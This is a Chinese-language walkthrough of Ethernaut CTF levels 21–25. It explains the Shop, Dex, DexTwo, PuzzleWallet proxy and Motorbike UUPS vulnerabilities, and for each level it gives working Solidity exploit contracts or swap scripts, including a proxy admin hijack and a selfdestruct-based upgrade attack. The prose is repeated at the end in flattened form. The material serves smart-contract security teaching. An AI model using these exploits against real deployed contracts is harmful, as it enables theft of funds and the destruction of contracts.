Ethernaut(21-25)详解
字数 1631 2025-09-01 11:26:03

Ethernaut 21-25 关卡详解教学文档

第21关:Shop 价格操纵

关卡描述

目标是以低于要求的价格从商店购买商品。

关键知识点

  • view 函数限制:承诺不修改状态的函数
  • 被视为修改状态的操作:
    1. 写入状态变量
    2. 发出事件
    3. 创建合约
    4. 使用 selfdestruct
    5. 发送以太币
    6. 调用非 view/pure 函数
    7. 使用低级调用
    8. 特定操作码的内联汇编

漏洞分析

  • 商店合约调用了 _buyer.price() 两次
  • isSold 是公开变量
  • 攻击思路:
    1. 第一次调用返回高价满足条件
    2. 第二次调用返回低价完成交易

攻击步骤

  1. 实现 Buyer 合约的 price() 函数
  2. 第一次调用返回 100(满足条件)
  3. 第二次调用返回 0(实际支付)

攻击合约示例

contract Exploit {
    Shop shop;
    
    constructor(address _shop) {
        shop = Shop(_shop);
    }
    
    function attack() public {
        shop.buy();
    }
    
    function price() external view returns (uint) {
        return shop.isSold() ? 0 : 100;
    }
}

第22关:Dex 价格操纵

关卡描述

通过操纵代币价格从合约中窃取资金。

初始状态

  • 玩家:10 token1 和 10 token2
  • 合约:100 token1 和 100 token2

漏洞分析

  • 兑换价格由池子余额比例决定:amount * to_balance / from_balance
  • 通过大额交换可以操纵价格比例

攻击步骤

  1. 授权合约使用你的代币
  2. 执行以下交换序列:
    • 用全部 token1 换 token2
    • 用全部 token2 换 token1
    • 重复直到耗尽一个池子

攻击脚本示例

// 授权
await contract.approve(contract.address, 1000);

// 交换序列
await contract.swap(token1, token2, 10);
await contract.swap(token2, token1, 20);
await contract.swap(token1, token2, 24);
await contract.swap(token2, token1, 30);
await contract.swap(token1, token2, 41);
await contract.swap(token2, token1, 45);

第23关:DexTwo 攻击

关卡描述

与第22关类似,但修改了交换逻辑,需要耗尽两个代币池。

关键修改

  • 移除了 require(from != token1 && from != token2)

攻击思路

  1. 部署自定义代币
  2. 向合约转入自定义代币
  3. 用自定义代币交换 token1 和 token2

攻击步骤

  1. 部署攻击代币合约
  2. 向Dex合约转入100个攻击代币
  3. 用攻击代币交换token1和token2

攻击合约示例

contract AttackToken {
    function approve(address spender, uint256 amount) public returns (bool) {
        return true;
    }
    
    function transfer(address to, uint256 amount) public returns (bool) {
        return true;
    }
}

第24关:代理合约攻击

关卡描述

劫持钱包,成为代理管理员。

前置知识

  • 代理模式:存储层(Proxy) + 逻辑层(Implementation)
  • delegatecall:使用目标合约代码但保持调用者存储
  • 存储冲突:变量按存储槽而非名称访问

漏洞分析

  • Proxy和Wallet共享存储但变量顺序不同:
    • Proxy的pendingAdmin(slot0) = Wallet的owner
    • Proxy的admin(slot1) = Wallet的maxBalance
  • 可以通过Wallet函数修改Proxy的存储

攻击步骤

  1. 调用proposeNewAdmin成为pendingAdmin
  2. 添加攻击合约到白名单
  3. 通过嵌套multicall多次调用deposit
  4. 执行取款操作
  5. 调用setMaxBalance劫持admin

攻击合约示例

contract Exploit {
    PuzzleProxy proxy;
    
    constructor(address _proxy) {
        proxy = PuzzleProxy(_proxy);
    }
    
    function attack() public payable {
        // 1. 成为pendingAdmin
        proxy.proposeNewAdmin(address(this));
        
        // 2. 添加到白名单
        PuzzleWallet(address(proxy)).addToWhitelist(address(this));
        
        // 3. 嵌套multicall攻击
        bytes[] memory depositData = new bytes[](1);
        depositData[0] = abi.encodeWithSignature("deposit()");
        
        bytes[] memory multicallData = new bytes[](2);
        multicallData[0] = abi.encodeWithSignature("deposit()");
        multicallData[1] = abi.encodeWithSignature("multicall(bytes[])", depositData);
        
        PuzzleWallet(address(proxy)).multicall{value: msg.value}(multicallData);
        
        // 4. 取款
        PuzzleWallet(address(proxy)).execute(msg.sender, 2*msg.value, "");
        
        // 5. 劫持admin
        PuzzleWallet(address(proxy)).setMaxBalance(uint256(uint160(msg.sender)));
    }
}

第25关:可升级合约攻击

关卡描述

自毁引擎合约使摩托车无法使用。

前置知识

  • UUPS代理:升级逻辑放在实现合约中
  • ERC1967:标准化的代理存储槽
  • Initializable:可初始化合约模式

漏洞分析

  • 实现合约的initialize()未被调用
  • 可以直接调用并成为upgrader
  • 然后可以调用upgradeToAndCall部署自毁合约

攻击步骤

  1. 直接调用Engineinitialize()
  2. 部署自毁合约
  3. 调用upgradeToAndCall指向自毁合约

攻击合约示例

contract SelfDestruct {
    constructor() payable {}
    
    function destroy() public {
        selfdestruct(payable(msg.sender));
    }
}

contract Exploit {
    function attack(address engine) public {
        // 1. 初始化成为upgrader
        Engine(engine).initialize();
        
        // 2. 部署自毁合约
        SelfDestruct destruct = new SelfDestruct{value: 0.001 ether}();
        
        // 3. 升级并自毁
        Engine(engine).upgradeToAndCall(
            address(destruct),
            abi.encodeWithSignature("destroy()")
        );
    }
}

总结

这五个关卡涵盖了以太坊智能合约安全的多个重要方面:

  1. View函数滥用:利用view函数的限制不严格进行状态修改
  2. DEX价格操纵:通过大额交易操纵价格机制
  3. 自定义代币攻击:利用合约对代币验证不足
  4. 代理合约存储冲突:利用delegatecall和存储布局问题
  5. UUPS代理漏洞:未初始化的可升级合约风险

每个关卡都展示了智能合约开发中常见的安全隐患,理解这些漏洞有助于开发更安全的合约系统。

Ethernaut 21-25 关卡详解教学文档 第21关:Shop 价格操纵 关卡描述 目标是以低于要求的价格从商店购买商品。 关键知识点 view 函数限制:承诺不修改状态的函数 被视为修改状态的操作: 写入状态变量 发出事件 创建合约 使用 selfdestruct 发送以太币 调用非 view/pure 函数 使用低级调用 特定操作码的内联汇编 漏洞分析 商店合约调用了 _buyer.price() 两次 isSold 是公开变量 攻击思路: 第一次调用返回高价满足条件 第二次调用返回低价完成交易 攻击步骤 实现 Buyer 合约的 price() 函数 第一次调用返回 100(满足条件) 第二次调用返回 0(实际支付) 攻击合约示例 第22关:Dex 价格操纵 关卡描述 通过操纵代币价格从合约中窃取资金。 初始状态 玩家:10 token1 和 10 token2 合约:100 token1 和 100 token2 漏洞分析 兑换价格由池子余额比例决定: amount * to_balance / from_balance 通过大额交换可以操纵价格比例 攻击步骤 授权合约使用你的代币 执行以下交换序列: 用全部 token1 换 token2 用全部 token2 换 token1 重复直到耗尽一个池子 攻击脚本示例 第23关:DexTwo 攻击 关卡描述 与第22关类似,但修改了交换逻辑,需要耗尽两个代币池。 关键修改 移除了 require(from != token1 && from != token2) 攻击思路 部署自定义代币 向合约转入自定义代币 用自定义代币交换 token1 和 token2 攻击步骤 部署攻击代币合约 向Dex合约转入100个攻击代币 用攻击代币交换token1和token2 攻击合约示例 第24关:代理合约攻击 关卡描述 劫持钱包,成为代理管理员。 前置知识 代理模式 :存储层(Proxy) + 逻辑层(Implementation) delegatecall :使用目标合约代码但保持调用者存储 存储冲突 :变量按存储槽而非名称访问 漏洞分析 Proxy和Wallet共享存储但变量顺序不同: Proxy的 pendingAdmin (slot0) = Wallet的 owner Proxy的 admin (slot1) = Wallet的 maxBalance 可以通过Wallet函数修改Proxy的存储 攻击步骤 调用 proposeNewAdmin 成为 pendingAdmin 添加攻击合约到白名单 通过嵌套 multicall 多次调用 deposit 执行取款操作 调用 setMaxBalance 劫持admin 攻击合约示例 第25关:可升级合约攻击 关卡描述 自毁引擎合约使摩托车无法使用。 前置知识 UUPS代理 :升级逻辑放在实现合约中 ERC1967 :标准化的代理存储槽 Initializable :可初始化合约模式 漏洞分析 实现合约的 initialize() 未被调用 可以直接调用并成为 upgrader 然后可以调用 upgradeToAndCall 部署自毁合约 攻击步骤 直接调用 Engine 的 initialize() 部署自毁合约 调用 upgradeToAndCall 指向自毁合约 攻击合约示例 总结 这五个关卡涵盖了以太坊智能合约安全的多个重要方面: View函数滥用 :利用view函数的限制不严格进行状态修改 DEX价格操纵 :通过大额交易操纵价格机制 自定义代币攻击 :利用合约对代币验证不足 代理合约存储冲突 :利用delegatecall和存储布局问题 UUPS代理漏洞 :未初始化的可升级合约风险 每个关卡都展示了智能合约开发中常见的安全隐患,理解这些漏洞有助于开发更安全的合约系统。